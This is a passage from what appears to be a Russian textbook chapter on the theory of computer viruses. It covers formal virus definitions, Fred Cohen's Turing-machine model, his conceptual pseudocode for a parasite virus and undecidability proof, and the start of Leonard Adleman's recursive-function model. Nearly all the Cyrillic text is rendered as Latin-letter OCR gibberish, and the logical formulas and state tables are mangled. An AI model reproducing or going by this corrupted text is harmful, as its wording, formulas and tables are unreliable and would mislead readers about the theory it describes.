TpexHH «Bep6yeT noBofipaHneB», paccbi;ian HOBbie pa:(HOBH;iHocTH iiep- 
Beft h  t. n. C t o h t  TaKHe ce ra  He/iemeBO. BnpycoiracaTe;ib-npo;iaBen, co3- 

jaBiiiMH «30M0H»-ceTb, MoaceT BbipyiMTb 3a Hee y  c naw  ep a - no KynaTe jw  

onenb h o 'le iib  «Kpyr.neiibKyio» cyMMy. Be/ib npn noM oiun TaKoii cera , 
oojiaflaiom eH nirainc.Koii BbiHiicjiMTeJibHoii MomHOCTbio ii nponycKHon  

CriOCo6HOCTbIO, MOJKHO IiepeCbI.JiaTb COTHH MHJIJIHOIIOB H MHJIJIIiapflbl KO-
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hhh peicjiaMHfcix riHceM h TpojmcKHX nporpaMM b cyncH. IIoJiy'iaTb ao- 
CTyn K  COTHflM TUCHH HyXM X  CeKpeTHblX napOJieft, 6aHK0BCKHX peKBH3H- 
TOB II KOmJlHfleHmia/rbHblX AOKyMeHTOB. CKOOpAHHHpOBaHHOH JiaBHHOH 

aanpocoB Ha KaKoft-HH6yab cam  Ha,zie>KH0 6ji0Kiip0BaTb ero pa6oTy...
A  b o t  ajih pacuiHcJjpoBKH MejioBenecKoro reHOMa h M oaejiHpoBaHna  

/IBHaceHHH 3Be3/i b  l a.TaKTHKe n o a o 6 Hbie ceTH hh pa3y eme He hcitc>jii>30- 
BajiHcb. M a e a  H 'x .  IH o n a  h  ft . X a n n a  [6 0 ] nponaaaioT  BTyHe.

IIoHeMy-To...



r/VABA

CPuAOCOCflCKMe 

m MaTeMaTMHecKne
acneKTbi

KoMnbioTepHan BnpycojiorH5t -  s to  He npocTo Ha6op TexHHHecKHX cBe- 
neHHH o6 ycTpoftcTBe h  ajiropHTMax pa6oTbi caMopa3MHoacaiomHxcH  

nporpaMM. 3 t o  oounipHan «AHcnnnjiiiHa»-, jiejKamaa Ha cTbme caMbix 

pa3H006pa3Hbix o6jiacTeH HayKH h  tcxh hk h . ZlaBaiiTe * e  paccMOTpiiM He 

3aTpoH jTHe HaMH paHee. ho oneHb noyMHTeiibHbie acneKTbi KOMnbK>Tep- 

h o h  BHpycojiorHH.

71  Crporoe onpeAeAeHue BHpyca
Om  npupodu oh nay urn mojiwco nuiu,eeapumt> u 
pa3MHODICambCH.

A. h  B. CTpyranioie. «rpajt o6peieHHHH»

PaH ee Mbi onpe/iejimm KOMnbfOTepHbift BHpyc KaK

«nporpaM M y, cnocodn yio  k  HecaHKiinoHnpoBaHHOM y co3flaHHio CBO
HX (pyHKUHOHanbHO-tVjeHTmHblX K O n m ».

OTZiejIbHO Mbi OrOBOpH.TIH, 4T0 BCHHeCKIie Bpe/IOHOCHbie aeHCTBHH 

THna HCKa^ceHHa hjih v h u ' itojkchhh  ziaiiHbix o6a3aTejibHbiM c b o h c t b o m  

Biipyca He h b jm io t c h .
M o^kho n0Jib30BaTbca h  onpe/ieJiemieM H3 TOCT P 51188-98 [5]: 
...nporpaM M a, cnoco6H aa cosflaBarb cboh K o n m  ( Heodm are/ibHO  
coenajxaioiMMe c opuruH anoM ) u  BHeftpftrb h x  b (pati/ibi, cucreM Hbie  
o 6 /ia c m  KOMnbiOTepa, KOMnbiOTepHbix c e re ii, a raioKe ocym ecTB/iarb  
MHbie AecrpyKTMBHbie A e tic rB iw ... n p u  s to m  Konnu coxpaH tnor c n o - 
codHocTb flaJibHeutuero p a cn p o crp a H e H iw .
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XoTH OHO flOBOJIbHO paCIMblBHaTO H OCTaBJiaeT «3a 6opTQMS> HeKOTO- 
pbie BaacHue Hioaiicbi (HanpHMep, HecaHKiiHomipoBaHHocTb h HeKOHTpo- 
JIHpyeMOCTb pa3MHOaceHHfl ). B  COOTB6TCTBHH C HHM, HanpHMep, HBJIfleTCH 

BHpycHbiM (h  6ojiee Toro, Bpe/joHocHbiM.1)  npoqecc 3arpy3KH onepann- 
ohhu x  cHCTeM, ripe ly  cMaTpHBaioiJiHH KonnpoBaHHe coflepacHMoro 33- 
rpv30HHbix ceKTopoB b naMHTb H nepeMemeHiie hx H3 oflHoro perHOHa b 

apjTOH.
3  anew  ace HyacHbi 6ojiee cTporne onpeflejieHHa?

Hy. BO-nepBbix, OMeHb MHornx HccjieflOBaTejieft He noKH^aeT ace;iaHHe 

oonapy^KHTb HeKyio (JjopMyjiy hjih cncTeMy npaBHJi, no3BOJiaromyio o t -  

JiHHHTb KOMnbjoTepHHH BHpyc o t  apyrnx nporpaMM, npHMeHHTb ee Ha 
npaKTHKe H TaKHM 06pa30M C03/iaTb «COBepiIieHHhIH aHTHBHpyc».

Bo-BTopux, MaHimyjiHuiiH c (})opMaJibHbiM onpeae.7ieHHeM n03B0JiHJiH 

6bi npeACKa3HB3Tb KaK uoBe/ieHne Kaayioro oTflenbHoro BHpyca, TaK h 
B03M0>KH0e HanpaB.ieHHe pa3BHTHH Bcero KJiacca n o a o fm a x  nporpaMM.

HaKonen, iiocKOJibKy KOMnbioTepHbiii Biipyc o6jiajiaeT m hothm h  cboh- 
CTB3MH acHBoro opraHH3Ma, to cymecTBOBaHHe TaKoro onpeaejieiiHfl 
03HaMaji0 6m  cMbiKaHHe caMbix pa3Hbix HayK, TaKHX KaK HHcJjopMaTHKa, 
MaTeMaTHKa, xhmhlh h 6H0Ji0raa, h coBMecTHoe npo/iBHJKeHHe h x  no Ha- 
npaBJieHHK) K 0C03HaHHK) nOHflTHH >Kk3HH.

Cpa3V OTMeTHM, hto VHHBepcajibHoro onpe/iejieiiHa, nosBOJiHBiiiero 

6 bi pa3peuiHTb Bee oth npoo.neMM, noKa He C03aaH0, h Bpafl jih 3to KOMy- 
Hn6 yflb yqacTca. TeM He MeHee nonbiTKH 6biJih, h o hhx mu cemac no- 
roBopHM. Bojibluhhctbo onpejiejieHHH M0acH0 pa36nTb hs ziBe 6ojibiuHe  

rpvnnbi:
O  cBH3biB3iomHe noHflTHe KOMnbroTepHoro BHpyca c noHsmieM «pa3- 

MHoaceHiia»;
O  CBH3biBaK)iu.ne noHHTHe KOMnbroTepHoro BHpyca c noH araeM  «3a- 

paacem ia flpynix nporpaMM*.
Jlereo BHfleTb, 1ito nepBaa rpynna onpeaejieHHH 6 ojiee yHHBepcajibHa, 

OHa oxBaraBaeT npaKTH'iecKH Bee H3BecTHue Timbi BHpycoB, BKjiio'iaa 

MepBeft. BTopaa ace rpynna oTHocHTca toju>ko k BnpycaM-«nap33HTaM».

7.1.1 . MoAejiu 0. KoaHa
McTopHHecKH nepBbie (|)opMa;ibHbie onpe/ieJieHHa BHpyca 6mjih npeflJio- 
aceHbi b fl0KT0pcK0H flHccepTanHH O .  KoaHa (F re d  C o h e n ) 11 nojiyrojiH  

H3BecTHOCTb 6;iaroaapa ncn0Jib30FiaHHK) hx b cTaTbax «KoMnbioTepHbie 

Biipycbi: Teopua 11 3KcnepHMeirrbi<> [3 7 ] n « Bu'ihcjitrreJibHhie acneK- 
Tbi KOMnbiOTepHbix BHpycoB» [3 8 ], CjioBecnoe onpe,ziejieHHe Biipyca- 

«napa3HTai> Bbirjiaaejio TaK:
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Mbi onpefle/ifieM KOMnbiorepHbid eupyc KaK nporpaMMy, Koropaa 
Moxer 3apa>KaTb jxpyrue nporpaMMbi, MOAVKpMUHpyn hx tskhm 06- 
pa30M, HTOdtJ BhteflpaTb B HHX C06CTBGHHyi0, B03M0)KH0 BHAOM3Me- 
HeHHyto, Konmo.

Cjieayiom afl, oneHb a6 cTpaKraafl MO/ie/ib BHpycoB 6a.3npoBa.iacb Ha 

cn o co 6 e onucaHHH ajiropHTMOB npn  noM om n «MauiHHbi TbE>piiHra» (cm. 

p uc. 7 .1 ) .

fonoBKa

«Mauiima TbiopnHra»- onpe/ie.MeTca:
O S = {S j,  s2, ... Sj -  MHOMCeCTBOM COCTOHHHH, B KOTOpMX OHa MOJKeT 

HaXOflHTbCH;
O  I  = {i„  i2, ... im} -  aji4)aBHT0M .aaHHbix, 3anHcaHHbix Ha Jieirre;
O N : S x I - * S , 0 : S x I - t I , D : S x I - * d - Ha6opoMHHCTpyKUHH,icoTo- 

p u e  b 3aBHCHM0CTH ot TeKymero coctohhhh «MauiHHM» h aaHHbix 

b TeKyiueft aneHKe .tchth ycTanaBJiHBaioT hoboc cocTOHHHe, H3Me- 
hjiiot ztaHHbie Ha Jieme h onpe/ieJiaioT nepeMemeHHe d =  { - 1,0, + 1} 

roJioBKH HTeHHfl-3ariHCH oTHocHTejibHO ee TeKymero nojioaceHHa.

CorjiacHO H3BecTH0My Te3Hcy Hepna, npn noM om n «MauiHHbi Tbio- 
pH H ra» mo»cho orracaTb jik>6oh ajiropnTM h, TaKHM 06pa30M, cM oae.rapo- 

BaTb pa6oTy jiio6oro nporpaM M HpyeM oro ycrpoHCTBa.

K o s h  pacc.MaTpHBa.ii He Bee B03M0acHue «M auiHHbi T b io p H H ra », a TOJib- 

k o  Te H3 h h x , flaHHbie Ha j ic h t c  K 0T0pbix  npeaHasHaneHbi m m  fla .ibneftiu eH  

«H H TepnpeTau H H », t o  ecTb caMH npe/icraBJiafOT co 6 o h  nporpaM M bi. O h  

BBejj Tpn aonojiH H Te.ibH b ie  (JiyHKHHH: S (N ') .  N ^ S  cocTOHHHe ManiHHbi 

noc.ae A - r o  u ia ra  pa6oTb i; D(N): N  x N  I  -  coaep ac iiM oe  yKa3aHHofi 

aneHKH n o c .ie  V Tcm H H oro  u ia ra  h  P(N): N - * N -  snaH eiiH e tv ie/ iy iom ero  

HOMepa h h ch k h  noc./ie B b in o jin em iH  yK aaaH H oro u iara. B coBOKynHOCTH
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3TH 4> yH K H H H  npeflCTaBJIfllOT C060I I  «HCTOpHIO nOBe/ieHHH* MauiHHbi, H 

c h x  noM om bio K o3h  cocTaBH j i  o n p e / ie jie H H e  «BHpycH oro MHoacecTBa* 

VS, t o  ecn> MHOJKecTBa V KOMnbiOTepHbix BHpycoB 1yra «MaiiiHHbi Tbio- 
pH H ra» M.

V M V V

(M ,  V ) e  VS i f f  

[  V e  TS] and [ M  e  T M ] and

f V v e  V ]W / M 

[WVj]

[ ^ O  - j a n d

=  SM0 and

a ^ t j  -  foj -  1»  -  v

I =»
p o 'e  V p f' > f[3 /

[ [ [ ( / '  -  lt '1 ) ^ j ]  or  [ 0  ~  M  ^ ) '\  a" d  

( □ „ ( ; ' , / ) ....................... +  \v'\ -  1 ) -  o '  a n d

{3t" s i .  [t <  t" <  t'J and

[ i V O e  {/. ...J' +  K l - I } ] ] ] ] ] ] ]

fl/is B c e x  M a u i H H  M h  M H 03K e c r B  V

napa (M ,  V )  HBjiaerca «BHpycHbiM MHoacecx-
b o m »  VS Toraa h tojii>k o  TorAa. Koraa:

V ecTb H enycToe nosMHoatecTBO MHOJKecTBa 

TS nporpaMM anx < M a m H H u  TtiopHHra», 
a M  -  noaMHO*ecTBO MHoacecTBa T M  «ManiHH 

TbiopnHra»

h mia Kancaoro BHpyca v, npsiHaajieatam ero V, 
gnu  Bcex «HCTopnft pa6oTbi» MaiuHHU M , 

a jia  Bcex MOMeHTOB t  m aqeeK JieHTH j , 
earn rojioBKa b m om cht t Haxo/wrcH 

B n03HUHH

H B MOMeHT t MauiHHa HaXOffHTCS B HaHajlhHOM 

COCTOHHHH,

11 Ha jieHTe c  no3Siisnn j  3an«caH  BHpyc v,

Toraa
anx  MOMeHTa t ’ >  1 11 no3imHH j '  cym ecTByeT 

B iipyc v ',  npiiHafljie>KamHft V, Taicoii *ito 

b no3nuHH j \  pacnO/io^ceHHoii BHe BHpyca u, 

aqefiK a jieHTU, HanHHaromascs c j ' ,  coaepacHT

BHpyc v ‘,

h b t o  3Ke BpeMH j m  MOMeHxa t ',  pacno.ioJKeH- 

Horo M e * a y  t h t ',

BHpyc v ' 3anncaH npH noMomn MauiHHu M .

I lp o m e  roB opa, O .  K o sh  onpeAejin^ «B iipycH oe MH0?KecTB0 »  KaK mho- 

JKecTBO « MauiHH Tbropm ira*, cnoco6HHx nepeMemaTb 3anncn na cBoeft 

JieHTe H3 oflH oro MecTa b  apyroe . IIpH  stom  nojiynaioTCH HOBbie ajieMeHTH 

Toro ace MHOJKecTBa, no-npeacHeMV o6jia,ziaioiUHe cnoco6HocTbio k  nepe- 

MemeHino cbo h x  3annceH. CaM  ® .  Koan TaK noacHflJi cyn> CBoero onpe- 

AejieHHfl: «KOMm>iOTepHbiH BHpyc -  s to  nporpaM M a, KOTopaa yMeeT pa3- 

MHOJKaTbCH».
r io f l  s t o  o n p e fle jie H n e  n o ^ n a aa ioT  KaK o 6 b i'iiib ie  K0M nbi0TepHbie B iip y- 

cbi, TaK h  ceTeB bie HepBH (e c j in  paccM aTpiiBaTb b  KauecTBe «n cn o jiH itT e jif l 

H H CTpyKnHH» BCK) COBOKVnHOCTb KOMnblOTepOB, OObe/lHHeHHHX CCTblo). 

T a ioK e no 3TOMy onpe/ie.aetiiiK j BnpycaM H >ibjimk)t c h : coA ep*H M oe 3arpy- 
30'IHbIX ceK TopoB  AHCKOBbIX HaKOnilTCJieH; KOMnH.MTOp, «Co6npaK>IHHH»
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caM ce6a  H3 CBoero »ce ncxoflHoro TeKCTa; onepaunoHHaa CHCTeMa, bh -  
nojiHarowaa pe3epBHoe KonnpoBaHHe ceoa. h t. n. A  noneMy 6 u  H e r?  *IeM  

OTJiiinaeTca KOMim.MTop o t <J>aftjioBoro nepB a? TOJibKO K0H Tp0.rapyeM 0- 

cn>io noBeflemia h cy6 'beKTHBHbiM npeflCTaBJieHHeM o «m>Jie3HOCTH» hjih 

4BpeflH0CTH* pe3yjibTaTa pa6 on>i.
<MauiHHa TbiopHHra» npeacTaBJiaeT co6 oh HeKoe o6 o6 meHHe noHa- 

ra a  «KOHeHnoro aBTOMaTa», n03T0My nocjieflOBaTejibHOCTb HHCTpyroiHH, 
onpeaejiaiomyio ee noBe/jeHHe, mo^cho o<|)opMHTb b BHfle Ta6 jinubi hjih 

noMeneHHoro opueHTiipoBaHHoro rpacjja. Bot, HanpHMep, icaK BbirjiaflHT 

Ha6 op HHCTpyKUHH npocTefimero «BHpyca», Hcnojib3yiomero aji(J>aBHT 

flaHHMX I  =  {0, 1} H MHOaCeCTBO COCTOaHHH 5  =  {.%, 5,,}, -  CM. pHC. 7.2.

S I N O D 
sO 0 sO 0 0 
s0 1 s1 1 +1 
s1 0 sO 1 0
S1 1 S1 1 +1

Ph c . 7 .2  ❖ ABTOMaT npocTewLuero KOMnbioTepHoro Bupyca

CaMoe rjiaBHoe aoctohhctbo noflo6 Hoii MojjejiH -  BOSMoaaioCTb hc- 
cJieaoBaHHH c ee noMombio HeKOTOpux BaacHbix cbohctb, K0T0pbiMii 0 6 - 
jiaflaioT He TOJibKO «MaTeMaTHtiecKHe», ho h «HacToamHe» BHpycw.

H anpHM ep, O . Kosh cTporo flOKa3aji, hto cymecTByioT «BHpycHbie  

MHO*eCTBa», HbH MOIUHOCTb SKBHBaJieHTHa MOIUHOCTH MH05K6CTBa HaTy- 

paJIbHblX MHCeJI, TO eCTb KOJIHHeCTBO BCeB03M0>KHbIX BHpyCOB 6 eCKOHCHHO, 
h Bee ohh 0TJiH4aroTca apyr o t flpyra. JXj ix  fleMOHerpauHH 3Toro cbohctb3 

oh onpe/tejiii/i fljia  «.vam nHbi TbiopHHra* HecKOJibKO cocTaBHbix onepa- 
m ifi (Ta6 jiHUbi HHcrpyKiiHH fl.ua hhx Jienco cocraBHTb caMocToaTejibHo):

O  L (X ) -  flBHrarb tojiobkv bjicbo, noKa He BCTpeTHTCa chmboji X;
O  R(X) -  flBiiraTb tojiobkv BnpaBo, noKa He BcrpeTHTca chmboji X;
O  C(X,Y,Z) -  3aMeH»Tb X na Y, noxa He BCTpeTHTCa Z.
M  Ham ica.i fljja «MauiHHbi TbiopHH ra*, pa6oTaK>meii c zuhJkibhtom 

I  =  {L , R, 0} h Ha6opoM cocToaHHH S  =  {s0, .s’, , ..., % } ,  cjieflyiomHH «h o jih -  

MOp(|)HbIH» BHpyc (cm. pHC. 7.3).
3 Ta n p o r p a M M a  a m  nocJieflOBaTeJibHOCTeft BHfla « L 0 0 ...0 R »  co3flaeT Ha 

n y c T O M  ynacTKe JieHTM kohhio, coxpaHaromyro o 6 m y i o  CTpyKTypy (npe- 
4 >hkc «L». cy4 >4)HKc « R »  h  «rejio», c o cToamee H 3 «()»), ho  n p H  KaaKflOM 
K o n H p o B a H H H  «TeJio» yfl.iHHaeTca Ha e/iHHimy 3a cneT flonojiHHTeJibHbix 

iiyjieii. T o  ecTb hs «L()R>> riojiyntiTca « L 0 0 R», h o t o m  « L 0 0 0 R», h  t. a.
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s I ___ N___ O D s 1 N O 0
1} sO L s i

. . ™ "~ V f 8)s7 L s11 L 0
SO else SO X 0 S7 X s8 0 +1

2.; 0 C(0,X,R) 9)s8 R(X)
3)s2 R s3 R +1 10) s9 X s10 0 +1
4) S3 s4 L +1 11)s10 s5 X 0
5}s4 s5 X 0 12)s11 R(X)
6)85 L(R) 13) s12 s13 0 +1
7} s6 L(Xor M 14) 813 s13 R 0

Pm c . 7 .3  ❖ ABTOMat nojiMMopcJ)Horo Bnpyca

MHTepecHo, mto Te\i ca\iuM Kosh He npocTo aoKa3aji HeBorjMoamocTb 
nepeMiicjieHHH Bcex BHpycoB b KaKOM-HH6yab «HepHOM cnncKe», ho h 

<})aKTHHecKH npeacKa3a;i noflBJieHHe n0JiHM0p4>iiK0B.
Eme oimiiM BaacHHM cbohctbom ^BHpycHoro MHo>KecTBa»> aBJiaerca

B03M0*H0CTb HaiTHCaHHH HOCJie/IOBaTeTIbHOCTK HHCTpyKIIHH, KOTOpaa 

cTpoHT Ha JieHTe aaHHbix koiihh aaa  ;ho6om kohcmhoh nocjie/ioBaTe.'ib- 
hocth chmbojiob. IlycTb «MauiHHa Tbropfrara* pa6oTaeT c aJic|)aBHTOM 

I = {a0, t i j , vk} h cnocooHa HaxoanTbca b coctohhhhx 5 = {s0, sv % },  
Tor/ia «KonnpoBaJibmnK» noc.'ieztoBaTe/ibHocTeif BHiia « » 0, v v  vk»  mo- 
aceT 6biTb onncaH cjieayioiniiM Ha6opoM lincrpyKumi.

S I N O D
so vO s1 .... vO +1 ; pacnosHaBaHHe 0-ro cwMaona

else SO 0 0

sk vK s(k+1) vk +1 ; pacno3waB3H«e k-ro cnweona
else sO 0 0

sfk+1) s(k+2) vO +1 ; aariHCb koohm 0-ro CMMeona

s(k+k) s(k+k) vk 0 ; 3anncb Koraw k-ro cuMsona

Pm c . 7 .4  ❖ ABTOMaT, cTpoflinni/i Konmo 
nio6otf nocneAOBaienbHocTM aaHHbix

OaKTHMeCKH AOKa3aTeJIbCTBO 3T0r0 CBOHCTBa 0 6 0 CH0BbIBaeT Teopera - 
MeCKyiO HGB03M0/KH0CTb OT.THMeHHH «BH pyCa» OT «H eBH pyca» TOJIbKO no  

CO/iepaCHMOMy JieHTbl aaHHbix.

Ho oco6oe BHHMaHHe K o sh  ynenvs.i 0 6 0 CH0 BaHHi0  caeayiom HX Tpex
TC3HC0B:

O -«Hepa3peiiiHMOCTb» -  He cymecTByeT nporpaMMbi a.aa «MauniHbi 

TbiopH H ra», cnocooH oii 3a KOHeHHoe BpeMH onpeae.urrb, H B m eT ca  

a p y ra a  nporpaM M a BHpycoM hjth HeT;

O  «HeB03M0>KH0CTb npeflCKaaailHM 3BOJHOUHOHIipOBaHHH» -  lie cy- 

mecTByeT nporpaM M bi a n a  «MamiiHbi TbiopHHra*-, cnoco6noH 3a
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KOHeHHoe BpeMH onpe/tejiHTb, cn oco6Ha jih  HeKan nporpaMMa npe- 

06pa30Ban> onpeaejieHHyio Hcxo^Hyio nocjieflOBaTejibHOCTb Ha 
jieHTe b ap yry io  nocJieaoBaTeJibHocTb, Taicace onpeaejieHHyio 3a- 

paHee;
O «HeBbriHCJiHM0CTb» -  He cym ecTByeT bo3m ojkhocth nepeHHCJiim, 

Bee nocjieaoBaTejibHOCTH Ha jieHTe, KOTOpue M oryT 6brrb nopoac- 

aeHbi BHpycaMii.

/JoKa3aTejibCTBO nepBoro H3 h h x  -  caM oro BaacHoro! -  cymecTByeT Kan 

4 .HH «MaiuiiHbi TbiopHH ra», ran  h fl.nH «B H pyca », ajiropHTM pa6 oTbi k o to -  

p o ro  0 (|)0 pMJieH Ha IipHBblMHOM flJIH Hac aJirOpHTMHMeCKOM H3bIKe. B CBO- 

e a  OHepeAHOH MO/jejiii O .  K osh  onucaji ajiropHTM pa 6 oTbi n p ocrem u ero  

B iipyca -«napa3H Ta» npHMepHo xaK:

program BHPYC :=

{
1234567; /» "CMnoTypa" */

subroutine MH®HUMP0BATb_nP0rPAMMy :=
{
loop:
ifaM.n = n0/iyHMTb_nP0ki3BQnbHyfi_nP0rPAMMHdft_<j)Ati/i; 
if FI EPB Af< _CT POKA_®Af1/lA = 1234567 then goto loop,
BnHCATbCfLB_HAHAJ10_<tAitoA;

}

subroutine BUnOHHMTb_nOBPE)iyiEHM9 : =
I
Bhin0flHMTb_3APAHEE_nPEflyCM0TPEHH0EJlE«CTBME

>

subroutine yCJI0BHE_C05,fIIGjjEH0 : =
(
if aunOJIHEHO_HEKOE_ycnOBME then return MCTHHA;

}

main-prog ram: =
(
MH OMLl H PO B ATb_ (IPO T P AMMY;

if yC/IOBHE_COb,niOj|EHO then BW110/1 HMTb_nOBPE)KflEHME; 
goto next;
>

next:

i

K  coacaJiewno, O . Koan npejiycMOTpeJi b CBoeM 'm rm 'm oM  bhpvchom  

ajiropHTMe npon eaypy  HaHeceHHH ym ep 6a, mto aajio>KHJio ^TeopeTH-
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MecKHH c|)yH/iaMeHT» no# Mnemie o 6e3ycjioBHoft BpeaoiiocHOCTH Bcex 

BHpyCOB H, B03M0JKH0, flaJKe CnpOBOUHpOBaJIO B03HHKH0BeHHe B fla/Ib- 
HeftuieM MHoacecTBa aeiacTBHTejibHO onacHbix caMopa3Mfto>KaiomHXca 

nporpaMM. BnponeM, c e m a c  pent He 0 6  stom.
OnpeaejiHB thhhm hm h BiipycHbifi ajiropHTM h  npeano/ioiKHB, h to  cy - 

mecTByeT neicaa pem arom aa n pou eaypa  « 5 I B J M E T C f l _ B H P y C O M » ,  

crroco6 iiaa  oTjinyaTb BHpycHbie nporpaMMbi o t  HeBHpycHbix, K o s h  npea- 
jio jkh ji k paccMOTpeHHK) caeayio iuy io  MoaH(J)iiKaiinio 3T o ro  aJiropHTMa:

program BMPVC_M/lM_HE_BMPyC: : =
{

main-prog ram: =
{
i f  JianfiETCa_BMPyCOM(BMPyC_HfIH_HE_BHPyC) = JKSXb 

then HHOsMUIIP0BATb_RPOrPAMMV;

f

>

3 T a  nporpaM M a oopam aeTca k  peraaio iueH  n p o n e a y p e  B/IH  E T C 5 i_
B H P Y C O M »•, KOTopan aojiacH a B03BpamaTb 3H a 'ie im e  « M C T I4 H A » ,  

ecJiH apryM eH T. nepeaaH H b ift e n  a j ia  TecTHpoBaHHa, HHcJmiiHpy eT a p y rn e  

n porpaM M bi, t o  ecTb  e c .ra  o h  aBJiaeTca B iip ycow . B  npoTHBHOM c jiy q a e  

n pon e/ iypa  B03Bpam aeT 3HaneHHe «J IO J K b » .  JlerKO BHflCTb, h t o  ecJiH 

n porpaM M a « B H P y C _ H J I M _ H E _ B M P y C »  caM a He aBJiaeTca BHpycoM, 

t o  Bbino.fiHaeTCH cneim cJniHecKaa B ttpycH aa n p o u e a y p a  « M H O H U ,H P O -  

BATb_nPOrPAMMy * ,  H, TaratiM oopasoM , n cx o zm oe  n pe fln o .ioaceH iie  o  

«6e3o6n AH ocTM  »  n porp aM M H  /iojkho. H  H ao6opoT .

M 3  aToro m o *h o  caeaaTb npocTOH h  0flH03HaHHbiH BbiBOfl: He cymecT- 

ByeT h  He MoaceT cymecTBOBaTb a.rtropiiTMa, cn oco 6 Horo oTJiHHHTb « BH
p y c »  o t  -«HeBHpyca».

B b iB oa JierKo o 6 oom aeTca He TOJibKO Ha BiipycoB-<-<napa3moB>>, ho m 

Ha nepBeii h, Boo6 me, Ha Jiioobie caMopasMHoacaiomneca nporpaMMbi. 
Pa3yMeeTca, o h  b nojiHoii Mepe cnpaBe/UHB T0 .>ibK0 /y1a  a6 cTpaKTH0H Ma- 

niHHbi, o 6 aaaaiom eH  6 ecKOHeHHO zuihhhoh .tch toh  aaHHbix h  HeorpaHH- 

HeiiHOH naMHTbio fljia H aoopa iiH cxpyKUH ii.

Ha npaKTHKe npoo/ieMa «  b iipy c - in  h - ne-BHpyc* a 0B0JibH0 ycneui- 
ho peiuaeTca BBe/ieimeM h ncn0Jib30BaHneM noH araa « He.vceJiamesibnoe 

npozpoMMHoe o6ecneneHuei> {malware). «BnpycoM » ( h  «BpeaoHocHoii 

nporpaMMoii» Boo6 iue) MoaceT cu n aT bo i /i 106aa nporpaMMa, KOTopyio 

THmiHHbiH n0.^b30B3Tejib He xoTeji 6 bi BHiieTb na CBoeM KOMnbioTepe. Pe-
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uiaiomaa npoue/iypa, npHCVTCTByiomaH b aHTHBHpycHOM nporpaMMHOM 

o 6ecneHeHHH, OTJiiiHaeT «B iip y c »  o t  «H eBH pyca» He n o  npH3HaKy B03- 
MOJKHOCTH Ca,M0pa3MH05KeHHH, a no CHrHaTypaM, KOHTpOJIbHbIM cyMMaM, 

HexapaicrepHMM ajih  «HopMajibHHX» nporpaMM c[)parMeHTaM, no/io3pH- 

Te.ibHOMy noBeaeHHio h t. n. PeHb 0 6  stom  b Hauieft KHnre noitzjeT /taJibiue.

7 . 1 . 2 .  M o A e n b  / I .  A A n e M a H a

H 3BecTHbift cneuHa/racT b o 6 j ia c ra  3amHTbi HH(|>opMauHH JI. AzyieMaH  

(L e o n a rd  A d le m a n ) b cBoen cTaTbe « A 6 crpaKTHaa TeopHsi KOMnbiOTep

Hbix BnpycoB » (19 88  r .) onpeaejin ji KOMnbioTepHbiH B iipyc -«n apa3HT» 

nepe3 noHHTHe « 3apa;*ceHHH» [3 3 ]. r io iw n ie  «p a3MHoaceHiia» b 3T0M 

onpeaejieHHH To*ce npncyTCTByeT, ho HeaBHo, b can y  peKypcHBHocni 

onpeae^eHHH.
B  0CH0Be MoaejiH  A aneM an a ;ic>kht Te3Hc o tom , h to  a jia  Kaacfloft 

nporpaMMbi bosm ojkhh KaK «3ziopoBa5i», xaK h «3 a p a *e H H a a »  cJjopMH, 

h, cooTBeTCTBeHHo, cymecTBveT HeKaa c^yHKUHa, npeo6pa3yram aa n p o 

rpaM My H3 nepBofl cjxipMbi bo BTopyio. 3 T y  (JjyHKUHio (a  TOHHee ajiro - 

puTM, ee BbiMHCJunomiiii) A/UieMail 11 accoim npoBaji c « KOMnwoTepnbiM  

BiipycoM^.
H to 6 m  a6cTparnpoBaTbCM o t  KOHKpeTHHX ajiropH TM on , yc jioB H H  h x  

npHMeHeHHH, ZiaHHbIX, C KOTOpHMH OHH pa6oTaK>T H T. n., II nepeH TH  OT 

B cero  MHoroo6pa3na paccM aTpHBaeM bix cym H ocTe ft k  ueiib iM  H iicjiaM , 

AzuieM aH  Hcn0.ib30BaJi tTed e .ieecK ue uyM epau ,uu* -  ocTpoyM H biH  cnoco 6  

n poH yM epoB aTb  Kaacflbiii 3HaK (BKJUoHaa m ic^pbi, 6 y K B W ,  3HaKH apn (})M e- 

T iiH ecK iix  aeiicTBHH, KBaHTopbi h  t. n .) h , npoH3Be/ia H aa hhm h o n p e fle -  

jieHHhie aettcTBHH, n o j i y w r b  a jih  KaacAoro M a T eM a n w ecK o ro  BbipaiKeHHa 

e ro  yroiKaJibHbiH H oM ep -  TaK Ha3bmaeMbiH -^Tedejiee HOMep» ,  h jih  m y M e -  

p a ji* .  TaKHM  06pa30M , KaK apryM eH Tbi, TaK h  caMH c jw H K m w  (a jirop H T - 

m h ) a jih  AflJieMaHa cyn> n e jib ie  HHCJia.

/lajiee AjjjieM aH onpeaejim i oTHouiemie «n o a o 6 n a  c TOMHOcTbro %o 

4>yHKUHH h»\p=q. I io  An-TCMaHy, /iBa TOCJia pviq «no/iooHbi c tohhoctm o  

AO h » ,  ecjin flBa ajiropHTMa, HyMepajiaMH KOTopbix a m  ra c jia  HBJiaiOTca, 

jih 6 o b  T04H0CTH coBna/iaiOT, jih 6 o coaepacaT 3jieMenTbi-cynepno3Hii;HH  

c h. H anpiiM ep, «n o flo 6 HbiMit c TO'inocTbio 3 0  k »  6 y a y r  ajiropHTMbi: 

x  =  y  +  z , x  =  h (y  +  z ) ,  x  =  h ( y )  +  z , x  =  y  +  h {z ) ,  x  =  h ( y )  +  h ( z )  h  co o t-  

BeTCTByioiUHe hm Hywepajibi.
HaKOHen, Hcno.fib.'iOBaB ripiiHMTyK) b TeopHH ajiropHTMOB noranMK) 

o6o 3HaHeHHH peKypcHBHbix (jpyHKUHii <pp =  <p(p), A;uie.MaH cocTaBiiJi cne- 

/lyioinee onpe/teJiemie.



470 ❖  ©nAQCocjDCKne n MaieMaTnnecKne acneicrbi

M n a  B ce x  reneueBCKux HyM epauiifi HacmHHO peKypcHBHbix cpyHKUuii 
{<(»,} no/iHocTbio onpepeneH Haa pexypcHBHaa cfryHwua v a e n a e rc a  BH
p y c o M  n o  OTHOuieHwo k  {<(»,} rorfla  m  T o m m  r o r m , e c u u  p/ia a c e x  d, 
p  e S;
1) n w 6 o  V/, j  e N: ^ 0(d, p ) = tym (d, p ) -  t o  ecTb noc/ie  3 a paxeH na  

BbinojiHaerca coBceM  m hom , He npe/iycMOTpeHHbiH b  nporpaM M e  
anropw TM ;

2) jim 6o  V/ e  N: ^ (d , p ) k §^n(d, p ) -  to  e c rb  a/iropMTMbi paOoTbi 
MCXOAHOH H 3apa)KeHHOM nporpaM M  « n 0A 06Hbl c TOHHOCTbK) MO 
B H p ycH o ro  npeo6pa30BaHHa v».

